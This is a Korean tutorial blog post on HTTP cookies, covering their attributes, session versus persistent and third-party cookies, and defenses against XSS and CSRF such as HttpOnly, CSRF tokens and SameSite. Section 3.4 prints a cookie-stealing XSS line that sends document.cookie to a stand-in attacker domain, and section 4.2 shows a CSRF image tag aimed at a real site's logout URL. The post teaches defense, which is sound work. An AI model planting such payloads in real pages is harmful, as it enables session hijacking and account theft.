쿠키(Cookie)에 대해서 알아보자
쿠키와 세션은 개발자 말고도 인터넷 사용자라면 누구나 많이 들어본 단어이다. 그렇지만 두 개의 개념에 대해서 헷갈리기 쉽기 때문에 정리를 해보려고 한다. 이 글에서는 우선 쿠키에 대해서 정리해 보려고 한다.
근데 쿠키와 세션은 왜 사용하는 것일까?
바로 HTTP 프로토콜의 특징이자 약점을 보완하기 위해서 사용한다.
<HTTP 프로토콜의 특징>
- 비연결 지향(Connectionless)
- 클라이언트가 request를 서버에 보내고, 서버가 클라이언트에 요청에 맞는 response를 보내면 바로 연결을 끊는다.
- 상태정보 유지 안 함(Stateless)
- 연결을 끊는 순간 클라이언트와 서버의 통신은 끝나며 상태 정보를 유지하지 않는다.
그렇다면 쿠키란 무엇일까?
1. 쿠키(Cookie)란?
HTTP 쿠키(웹 쿠키, 브라우저 쿠키)는 서버가 사용자의 웹 브라우저에 전송하는 작은 데이터 조각이다. 브라우저는 그 데이터 조각들을 저장해 놓았다가, 동일한 서버에 재 요청 시 저장된 데이터를 함께 전송한다. 쿠키는 두 요청이 동일한 브라우저에서 들어왔는지 아닌지를 판단할 때 주로 사용하며 이를 이용하면 사용자의 로그인 상태를 유지할 수 있다.
쿠키가 클라이언트 측에 정보를 저장할 수 있는 유일한 방법이 였을 때에는 클라이언트 측에 정보를 저장하기 위해 쿠키가 주로 사용되었지만, 모든 요청 마다 쿠키가 함께 전송되기 때문에 성능 저하의 원인이 될 수 있어 지금은 클라이언트 측에 데이터를 저장하기 위해서 로컬 스토리지나 세션 스토리지를 사용하는 것이 좋다.
1.1 쿠키의 특성
- 웹 페이지 방문 시 방문 기록 등 브라우저에 정보를 담은 임시파일이다.
- 한개의 4KB, 최대 300개 까지 저장할 수 있다.
- 하나의 도메인 당 20개의 값만 가질 수 있다.
(20개를 초과하면 가장 적게 참조된 쿠키가 지워진다.) - 유효 시간이 정해지면 브라우저가 종료가 되어도 인증이 유지된다.
- 쿠키의 데이터 형태는 Key와 Value로 구성되고 String 형태로 이루어져 있다.
- 웹 브라우저를 이용하고 있는 컴퓨터에 저장한다.
- 웹 브라우저에 해당 서버의 쿠키 정보가 있다면 쿠키를 담아서 요청한다.
1.2 사용 목적
세션 관리(Session management)
- 서버에 저장해야 될 정보 관리
개인화(Personalization)
- 사용자 선호, 테마 세팅
트래킹(Tracking)
- 사용자 행동 기록 및 분석
1.3 쿠키의 구성요소
- Name(쿠키이름)
- Value(쿠키의 저장된 값)
- Expires(쿠키 유효기간 설정)
- Domain(쿠키가 사용되는 도메인 지정)
- Path(쿠키를 반환할 경로)
- Secure(보안 연결)
- HttpOnly(http외 다른 통신 사용 가능)
*HttpOnly 오로지 http요청이 있을 경우에만 전송.
1.4 쿠키의 동작 방식
- 클라이언트가 페이지를 요청
- 서버에서 쿠키를 생성
- HTTP 헤더에 쿠키를 포함 시켜 응답
- 브라우저가 종료되어도 쿠키 만료 기간이 있다면 클라이언트에서 보관하고 있음
- 같은 요청을 할 경우 HTTP 헤더에 쿠키를 함께 보냄
- 서버에서 쿠키를 읽어 이전 상태 정보를 변경 할 필요가 있을 때 쿠키를 업데이트 하여 변경된 쿠키를 HTTP 헤더에 포함시켜 응답
1.5 쿠키의 사용 예
- 방문 사이트에서 로그인 시, "아이디와 비밀번호를 저장하시겠습니까?"
- 쇼핑몰의 장바구니 기능
- 자동로그인, 팝업에서 "오늘 더 이상 이 창을 보지 않음" 체크, 쇼핑몰의 장바구니
2. 쿠키 생성
클라이언트가 서버로 요청을 보냈을 때 서버는 요청에 대한 응답과 함께 Set-Cookie 헤더에 쿠키를 담아 보낼 수 있다.
Set-Cookie:<cookie-name>=<cookie-value>
이 때 쿠키의 키와 내용 뿐 아니라 특정 도메인 또는 쿠키의 지속시간을 명시할 수 있고 경로제한을 설정해 쿠키가 보내지는 것을 제한할 수도 있다.
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry
[page content]
이렇게 응답과 함께 Set-Cookie 헤더가 전송되면, 이후 클라이언트는 해당 서버로 요청을 할때 서버가 이전에 저장했던 모든 쿠키를 함께 담아 회신한다.
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
3. 쿠키의 종류와 속성
쿠키는 만료에 대한 설정에 따라 세션 쿠키와 지속 쿠키로 나뉘고 이 둘은 서로 다른 라이프타임을 갖는다.
또한 암호화 여부나 자바스크립트를 통한 접근 여부에 따라 Secure와 HttpOnly 속성을 가질 수 있다.
Domain 속성의 값이 현재 보고 있는 페이지의 도메인과 동일하면 퍼스트 파티 쿠키, 도메인이 다르다면 서드 파티 쿠키라고 이야기 한다.
3.1 세션 쿠키 (Session Cookie)
만약 서버가 쿠키를 보내면서 만료시각을 명시하지 않는다면 이 쿠키는 현재 세션이 끝날 때 삭제된다.
주로 세션 쿠키는 브라우저의 메모리에 저장되기 때문에 브라우저가 종료될 때 삭제되고 이는 보안 상 지속 쿠키보다 유리한 점으로 작용한다.
세션 쿠키는 사용자가 서버를 이용하는 동안 사용자의 정보를 유지하기 위해 사용된다.
3.2 지속 쿠키 (Persistent Cookie)
지속 쿠키는 쿠키의 Expires 속성에 명시된 날짜에 삭제되거나, Max-Age 속성에 명시된 기간이 지나면 삭제된다.
참고로 삭제 날짜는 서버측 기준이 아닌 클라이언트 측 시각을 기준으로 한다.
지속 쿠키는 사이트 재방문시 사용자 정보를 기억하기 위해 사용되며, 브라우저에 의해 파일로 저장되기 때문에 세션 쿠키에 비해 비교적으로 보안에 취약하다.
3.3 Secure 쿠키
Secure 속성을 갖는 쿠키는 클라이언트가 HTTPS 프로토콜 상에서 암호화된 요청을 수행할 경우에만 전송된다.
그러나 이 속성이 쿠키에 실질적인 보안을 제공하지는 않는다.
3.4 HttpOnly 쿠키
HttpOnly 속성을 통해 자바스크립트가 Document.cookie API에 접근할 수 없게 된다.
이를 통해 XSS 공격 (Cross-site Scripting Attack)을 방지할 수 있다.
XSS 공격은 관리자가 아닌 사용자가 웹 사이트에 스크립트를 삽입하는 것이다.
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
만일 위와 같은 스크립트를 XSS 취약점을 갖는 게시판에 삽입한다면 이 게시물을 읽는 다른 사용자의 브라우저가 해당 스크립트를 실행해서 자신의 브라우저 쿠키를 악성 사용자에게 전송하게 된다.
이를 통해 악성 사용자는 사용자의 쿠키를 탈취해서 세션 하이재킹 공격을 수행할 수 있다.
HttpOnly 쿠키는 위의 document.cookie 속성으로 조회할 수 없으므로 해당 공격을 피할 수 있다. 예를들어 서버쪽의 세션에 대한 id 값을 담고 있는 쿠키는 굳이 사이트에서 자바스크립트로 접근 할 일이 없으므로 HttpOnly 속성을 적용해야 한다.
3.5 First-Party Cookie
First-Party Cookie는 브라우저의 주소에 보이는 도메인과 같은 도메인에 속한 쿠키다.
3.6 Third-Party Cookie
Third-Party Cookie는 사용자가 방문한 웹 사이트에서 발행한 쿠키가 아니라, 다른 웹 사이트에서 발행한 쿠키를 말한다.
보통 광고 서버에서 발행하는 쿠키가 Third-Party Cookie이다.
예를 들어 사용자가 광고사(예 : ads.com)의 스크립트가 심어져 있는 example1.com에서 A 상품을 보았다면, ads.com은 사용자가 example1.com에서 A 상품을 봤다는 정보를 담아 쿠키를 발행한다. 그리고 사용자가 example2.com라 사이트에 방문 했을 때, example2.com에 ads.com 스크립트가 심어져 있다면 ads.com은 사용자가 example1.com에서 A 상품을 봤다는 것을 쿠키를 통해 알 수 있기 때문에 쿠키 정보로 광고를 보여줄 수 있게 된다.
4. 쿠키의 보안
쿠키는 언제든지 변조될 수 있고, 또 제 3자에게 노출 될 가능성이 높은 저장방식이기 때문에 절대로 쿠키에 기밀 또는 민감한 정보를 담으면 안된다.
또한, 개인정보보호지침에 따라 쿠키의 존재와 수집하는 정보의 형태와 내용 및 수집의 방법과 사용목적을 사용자에게 공개하여야 한다.
4.1 세션 하이재킹과 XSS
쿠키의 주요 사용 용도 중 하나는 서버의 세션을 소유한 사용자를 식별하기 위함이다. 그러므로 해당 쿠키를 가로채면 인증된 사용자의 세션을 하이재킹할 수 있다.
세션 쿠키의 하이재킹은 주로 사이트의 XSS 취약점을 이용해 발생하며, HttpOnly 쿠키 속성을 통해 방지할 수 있다.
XSS란?
XSS는 공격자가 웹 사이트에 악성 클라이언트 측 코드를 삽입할 수 있도록 하는 공격 기법이다. 이 코드를 실행하면 공격자가 액세스 제어를 우회하고 인증된 사용자로 웹 서버에 침투 가능하다.
XSS 공격은 웹 애플리케이션이 충분한 유효성 검사 또는 인코딩을 사용하지 않는 경우 발생한다. 사용자의 브라우저는 신뢰할 수 없는 악성 스크립트를 감지할 수 없으므로 쿠키, 세션 토큰 또는 기타 민감한 사이트의 특정 정보에 대한 액세스 권한을 부여하거나 악성 스크립트가 HTML 문서를 다시 작성하도록 한다.
4.2 Cross-site 요청 위조 (CSRF)
사이트간 요청위조 (CSRF: Cross-site Request Forgery)는 사용자가 자신의 의지와 무관하게 공격자가 의도한 행동을 해서 특정 웹페이지의 보안을 취약하게 하거나 수정 또는 삭제 등의 작업을 하게 하는 공격방법이다.
<img src="https://namu.wiki/member/logout">
예를 들어 공격자가 어떤 사이트의 게시판이나 필터링되지 않은 채팅에 위와 같은 실제로는 이미지가 아닌 이미지를 포함한다면, 그리고 만약 당신이 가진 쿠키가 유효하다면, HTML이 로드되자마자 나무위키에서 로그아웃되게 된다.
이를 방지하기 위해서는 아래와 같은 방법들을 사용할 수 있다.
- 프레임워크에 CSRF 보호 기능이 내장되어 있는지 확인하고 사용
- 지원하지 않으면, 모든 상태 변경 요청에 CSRF 토큰을 추가하고 백엔드에서 유효성 검사를 실시
- 상태 저장 소프트웨어인 경우 synchronizer token pattern 사용
- 상태 비저장 소프트웨어인 경우 double submit cookies 사용
- 상태 변경 작업에 GET 요청을 사용하지 않는다.
- 만약 GET 요청을 사용하는 경우 CSRF로부터 해당 리소스를 보호해야 한다.
- 세션 쿠키에 대해 SameSite 쿠키 속성을 고려한다.
- 매우 민감한 작업에 대해 사용자 상호 작용 기반 보호 구현을 고려한다.
- 사용자 지정 요청 헤더 사용을 고려 한다.
- 표준 헤더로 출처 확인을 고려 한다.
4.2.1 synchronizer token pattern
CSRF 토큰은 서버 측에서 생성돼야 한다. 사용자 세션 또는 각 요청에 대해 한 번 생성할 수 있다. 각 요청에 대해 한 번 생성하는 방식은 공격자가 도난당한 토큰을 악용할 수 있는 시간 범위가 최소화되기 때문에 세션 토큰보다 안전하다. 그러나 이로 인해 사용성은 떨어질 수 있다. "뒤로" 버튼을 눌렀을 때 이전 페이지로 가면서 서버에서는 CSRF 오탐 보안 이벤트가 발생한다.
반면 세션 토큰은 세션이 만료될 때까지 후속 요청에 지속적으로 사용할 수 있다.
클라이언트가 요청하면 서버는 사용자 세션에서 찾은 토큰과 비교하여 요청에 있는 토큰의 존재 및 유효성을 확인한다. 요청 내에서 토큰을 찾을 수 없거나 제공된 값이 사용자 세션 내 값과 일치하지 않으면 요청을 중단한다.
CSRF 토큰은 쿠키를 이용해 전송하면 안 된다.
CSRF 토큰은 숨겨진 필드, 헤더를 통해 추가할 수 있으며 form 태그 및 AJAX 호출과 함께 사용할 수 있다. 이 때 토큰이 서버 로그 또는 URL에서 누출되지 않았는지 확인해야 한다. GET 요청의 CSRF 토큰은 여러 위치에서 노출될 수 있기 때문에 사용을 자제한다.
4.2.2 double submit cookies
서버 측에서 CSRF 토큰의 상태를 유지하는데 문제가 있다면 이중 제출 쿠키 방식을 고려할 수 있다. 이 기술은 구현하기 쉽고 stateless 하다.
이 기술은 쿠키 값과 요청 값이 일치하는지 확인하는 서버와 함께 쿠키와 요청 매개변수(request parameter) 모두에 임의의 값을 보낸다.
사용자가 방문하면 사이트는 암호학적으로 강력한 난수 값을 생성하고 세션 식별자와 별도로 사용자 컴퓨터에 쿠키로 설정한다.
그런 다음 사이트는 모든 트랜잭션 요청에 대해 이 난수 값을 숨겨진 양식으로 포함하도록 요구한다.
둘 다 서버 측에서 일치하는 경우 서버는 요청을 허락하고 일치하지 않는 경우 요청을 중단시킨다.
이 솔루션의 보안을 강화하려면 인증 쿠키가 아닌 암호화된 쿠키에 토큰을 포함시킨 다음 서버 측에서 이를 해독한 후, 숨겨진 토큰과 일치하는지 확인한다.
이것은 하위 도메인이 암호화 키와 같은 필수 정보 없이는 정상적으로 제작된 암호화된 쿠키를 덮어쓸 방법이 없기 때문에 동작한다.
4.2.3 SameSite 쿠키 속성
SameSite는 쿠키를 자사 또는 동일 사이트 컨텍스트로 제한해야 하는지 여부를 설정할 수 있다.
사이트란?
사이트는 도메인 접미사와 바로 앞의 도메인 부분이 결합된 것이다. 예를 들어 www.web.dev 도메인은 web.dev 사이트의 일부이다.
사용자가 www.web.dev에 있고 static.web.dev에서 이미지를 요청하는 경우, 이것은 same-site 요청이다.
사용자가 your-project.github.io에 있고 my-project.github.io에서 이미지를 요청하는 경우 이것은 사이트 간 요청이다.
이 속성은 브라우저가 사이트 간 요청과 함께 쿠키를 보낼지 여부를 결정하는 데 도움을 준다. SameSite 속성에 가능한 값은 세 가지다.
- Lax
- Strict
- None
Strict는 일반 링크를 따라가는 경우에도 브라우저에서 대상 사이트로 쿠키를 보내지 못하도록 한다. 예를 들어, GitHub와 유사한 웹 사이트에서 로그인 한 사용자가 기업 토론 포럼이나 이메일에 게시된 비공개 GitHub 프로젝트 링크를 팔로우하면 Github에서 세션 쿠키를 수신하지 않고 사용자가 프로젝트에 액세스한다. 은행 웹사이트는 거래 페이지가 외부 사이트에서 연결되는 것을 허용하지 않기 때문에 Strict 플래그가 가장 적합하다.
Lax 속성은 사용자가 외부 링크로 간 후, 사용자의 로그인 세션을 유지하려는 웹 사이트에 대한 보안과 사용성 간의 적절한 균형을 제공한다. 위의 GitHub 시나리오에서 세션 쿠키는 외부 웹사이트에서 일반 링크를 따라갈 때는 허용되지만 POST와 같은 CSRF가 발생하기 쉬운 요청 방식은 차단한다.
- SameSite를 사용하는 쿠키 예시
Set-Cookie: JSESSIONID=xxxxx; SameSite=Strict
Set-Cookie: JSESSIONID=xxxxx; SameSite=Lax
SamSite는 추가 계층 방어 개념으로 구현되어야 한다는 점에 유의해야 한다. 즉, SamSite를 사용했다고 해서 CSRF 토큰을 사용하지 않으면 안 된다. CSRF 토큰을 사용함은 물론 이러한 보안을 더욱 강력하게 만들어주는 보안 수단으로써 사용해야 한다.
None은 SameSite가 탄생하기 전의 쿠키와 동작 방식이 같다. None으로 설정된 경우 크로스 사이트 요청에도 항상 전송된다. 즉, 서드 파티 쿠키도 전송된다. 참고로 None 속성을 사용하려면 해당 쿠키는 반드시 Secure(HTTPS 요청)이여야 한다.
참고